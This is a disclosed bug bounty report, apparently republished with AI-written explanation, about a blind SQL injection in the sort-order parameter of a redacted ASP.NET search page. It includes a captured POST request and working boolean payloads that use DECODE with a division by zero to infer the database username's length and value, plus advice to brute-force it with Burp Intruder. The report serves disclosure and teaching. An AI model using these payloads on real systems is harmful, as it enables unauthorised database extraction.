Blind Sql Injection in https://█████/qsSearch.aspx
The HiddenFieldSortOrder parameter on the qsSearch.aspx page was vulnerable to blind SQL injection, allowing an attacker to infer database information by observing whether the page returned normal or abnormal data. The reporter demonstrated extracting the database username length and value.
Originally disclosed on HackerOne
- Triaged in 13 hours
- Fixed in 9 days
- Disclosed after 46 days
Description:
access
https://████████/qsSearch.aspx
Click to sort capture packets
POST /qsSearch.aspx HTTP/1.1
Host: ████████
Cookie: ASP.NET_SessionId=qrwzcesx1pczpna5a1bumabn; TS01e0cc7d=01a9fe659bc0aaa5aeffd1dcb0212ef4158c4865925e960169a653a233f6de5425138871ffe81b759d57e8cd4d192f460a8455c20a; TS64c50bb0027=085749d0e4ab2000abff03ce041a6de3cdc980bad78329f846f8a7d1a3ca714fca41b9f4477ff74908e5615eaa1130003df96bf750318bbc06de7b8d1dc03b675cf0ea51da191b5c8a95008b8d5b3f758c0ed139489903314d8927a8c58c8d9d
Content-Length: 3764
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://██████
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://██████████/qsSearch.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ScriptManager1=UpdatePanelWhole%7CGetFilteredButton&DocumentIDTextBox=&IDNumberTextBox=&DropDownListStatus=&DocumentTitleKeyWords=&DropDownListContains=AND&DropDownListTitleOrKeywords=TOS&TextBoxBegin_Date=24-Jul-2022&TextBoxEnd_Date=24-Jul-2023&FromSession_HFS=0&DocumentIDTextBox_HFS=&IDNumberTextBox_HFS=&DropDownListStatus_HFS=&DocumentTitleKeyWords_HFS=&DropDownListContains_HFS=&DropDownListTitleOrKeywords_HFS=&ExListBoxFSCHF=1010&ExListBoxFSCHFN=2&ExListBoxFSCHFN_HFS=&UseTransDateCheckBox_HFS=&TextBoxBegin_Date_HF=24-Jul-2022&TextBoxEnd_Date_HF=24-Jul-2023&TextBoxBegin_Date_HFS=24-Jul-2022&TextBoxEnd_Date_HFS=24-Jul-2023&Command_HFS=&divPreamble_HF=block&HiddenFieldSortOrder=seqno&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=q7mOdp7JADLouhLb0iBsjhyqsgYBjR4m66bmTYp5jGGY0Unk%2FoBSV%2FV5DY4cM8i4AetQ7yIP7NpGAwDZNg1mENuO17N0e9RMjj9k84Mz8Z12lbblsQ3pvMzMXGqVFlV5AapE1ZPF3Lw3mHyNQwU9U8rmLIlySVVc9Fq9r1FEk4E198exJH0aVmUhqMLdX6ah4%2F4jaTRYRASPB6C8VdKG2gvAnVsh%2BQzU05lZGLYsqw8j8EiFXbKKni0hgSjiD%2B%2BanYn9w4xMz5llIOP81jz9jSB479hqo3yuFWuOO91Vr539KvcO7XzstILWDgVLtDeDPw3p2DTZM2PS0vOVnNDpJX6rr76mJfFWD9DJUOSkvCDpz0tGwNcGWZPO0j%2FkaUY%2Fh9L5%2FOblr4Zd6XcWiyo3Sal%2BtCvQnZuzPyCjL33IEpuGojcsUBeY8Aq%2FkFbVr%2Be3cXUSzzBwirfXTdneWQFQlfq8xWxKI2YHsnLZHLNKB3%2FsgP0vvRV1yXvsbC9RfTGhUiK2S%2Bg4XHzadLggy5djNZMHvoulqRwagO7EeksJyWGma9jVCQoc4Vqe3IjRbjmyaZOltk%2BZxh%2FC9P%2BPdT9lhapBOyuXvVDJL862rRIIfJEUo9NJ0ES%2FRRHdk2NO44DsXT99Rj89iOZY1ZgFaAqQEYXhVQEIfFdyMjP52QR2d6ljjjQahESe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zAft9GeMFoKWMCNXkY9jz80fSlJzDLSHEZ%2BVahTxgsrEeQpo9IzdKvvm2p6RPOYIS4%3D&__ASYNCPOST=true&GetFilteredButton=Search
HiddenFieldSortOrder is sql injection parameter
███
payload:
user length=5
seqno-DECODE(length(user),5,1,1/0) The page returns normal data █████
The length of the user is incorrect, and the page returns abnormal data ████████
and
user=QSWEB seqno-DECODE(lpad(user,5),'QSWEB',1,1/0) The page returns normal data ███
The database user does not return abnormal data to the page ███
We can use the burp intruder template to violently enumerate database usernames .Judging whether the user is correct based on the returned length
███ █████
References
Impact
An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.
System Host(s)
██████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
seqno-DECODE(lpad(user,5),'QSWEB',1,1/0)
true
seqno-DECODE(lpad(user,5),'QSWE1',1,1/0)
false
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The report demonstrates extracting the database username; the text notes SQLi could in principle bypass auth, read or alter data, and execute OS commands.
What the attacker needed
Access to the qsSearch.aspx page; ability to send POST requests
How it was found
- Capture the POST request to qsSearch.aspx when sorting the search results.
- Identify the HiddenFieldSortOrder parameter as the injection point.
- Inject a conditional expression that causes a division by zero when a condition is true, and observe normal versus abnormal page responses.
- Use the response difference to determine the length of the database user.
- Use the response difference to determine the database user name character by character.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A blind SQL injection is a flaw where user input is inserted into a database query, but the result is not shown directly. Instead, the attacker asks true/false questions and watches how the page behaves to learn secret data, such as the database username.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.